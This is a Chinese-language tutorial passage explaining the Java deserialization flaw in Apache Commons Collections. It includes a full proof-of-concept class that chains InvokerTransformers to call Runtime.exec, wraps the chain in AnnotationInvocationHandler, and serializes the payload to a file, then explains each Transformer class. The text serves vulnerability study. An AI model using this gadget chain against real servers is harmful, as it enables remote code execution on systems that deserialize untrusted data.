Java反序列化漏洞从爆出到现在快2个月了,已有白帽子实现了jenkins,weblogic,jboss等的代码执行利用工具。本文对于Java反序列化的漏洞简述后,并对于Java反序列化的Poc进行详细解读。
Java反序列化漏洞简介
· Java序列化就是把对象转换成字节流,便于保存在内存、文件、数据库中,Java中的ObjectOutputStream类的writeObject()方法可以实现序列化。
· Java反序列化即逆过程,由字节流还原成对象。ObjectInputStream类的readObject()方法用于反序列化。
因此要利用Java反序列化漏洞,需要在进行反序列化的地方传入攻击者的序列化代码。能符合以上条件的地方即存在漏洞。
Java反序列化Poc详解
public class test { public static void main(String[] args) throws Exception { String[] execArgs = new String[] { "sh", "-c", "whoami > /tmp/fuck" }; Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer( "getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] } ), new InvokerTransformer( "invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, null } ), new InvokerTransformer( "exec", new Class[] {String[].class }, new Object[] { execArgs } ) }; Transformer transformedChain = new ChainedTransformer(transformers); Map<String, String> BeforeTransformerMap = new HashMap<String, String>(); BeforeTransformerMap.put("hello", "manning"); Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain); Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); Object instance = ctor.newInstance(Target.class, AfterTransformerMap); File f = new File("temp.bin"); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f)); out.writeObject(instance); } } |
如果想彻底理解上面的poc,需要明白Java中的一些概念。
在Apache commons工具包中有很多jar包(jar包可以理解为python的库),具体jar包里面含有的内容,如下图所示。
其中Java反序列化的问题出在org.apache.commons.collections这个库里面。org.apache.commons.collections提供一个类包来扩展和增加标准的Java的collection框架,也就是说这些扩展也属于collection的基本概念,只是功能不同罢了。Java中的collection可以理解为一组对象,collection里面的对象称为collection的对象。具象的collection为set,list,queue等等。换一种理解方式,collection是set,list,queue的抽象,collection中文含义是收集的意思,那么收集的具体方式就可以是set,list,queue了。
在org.apache.commons.collections内提供了一个接口类叫Transformer,这个接口的英文定义为
Defines a functor interface implemented by classes that transform one object into another.
也就是说接口于Transformer的类都具备把一个对象转化为另一个对象的功能。目前已知接口于Transformer的类,如下如所示。
图上带箭头指示的为Java反序列化漏洞的poc含有的类。
· ConstantTransformer
Transformer implementation that returns the same constant each time. (把一个对象转化为常量,并返回)
· InvokerTransformer
Transformer implementation that creates a new object instance by reflection. (通过反射,返回一个对象)
· ChainedTransformer
Transformer implementation that chains the specified transformers together. (把一些transformer链接到一起,构成一组链条,对一个对象依次通过链条内的每一个transformer进行转换)
有了以上的相关概念,就可以理解最开始的poc了。poc里面,我们一共创建了以下关键对象。
· execArgs
待执行的命令数组
· transformers
一个transformer链,包含预设转化逻辑(各类transformer对象)的转化数组
· transformedChain
ChainedTransformer类对象,传入transformers数组,可以按照transformers数组的逻辑执行转化操作
· BeforeTransformerMap
Map数据结构,转换前的Map,Map数据结构内的对象是键值对形式,类比于python的dict理解即可
· AfterTransformerMap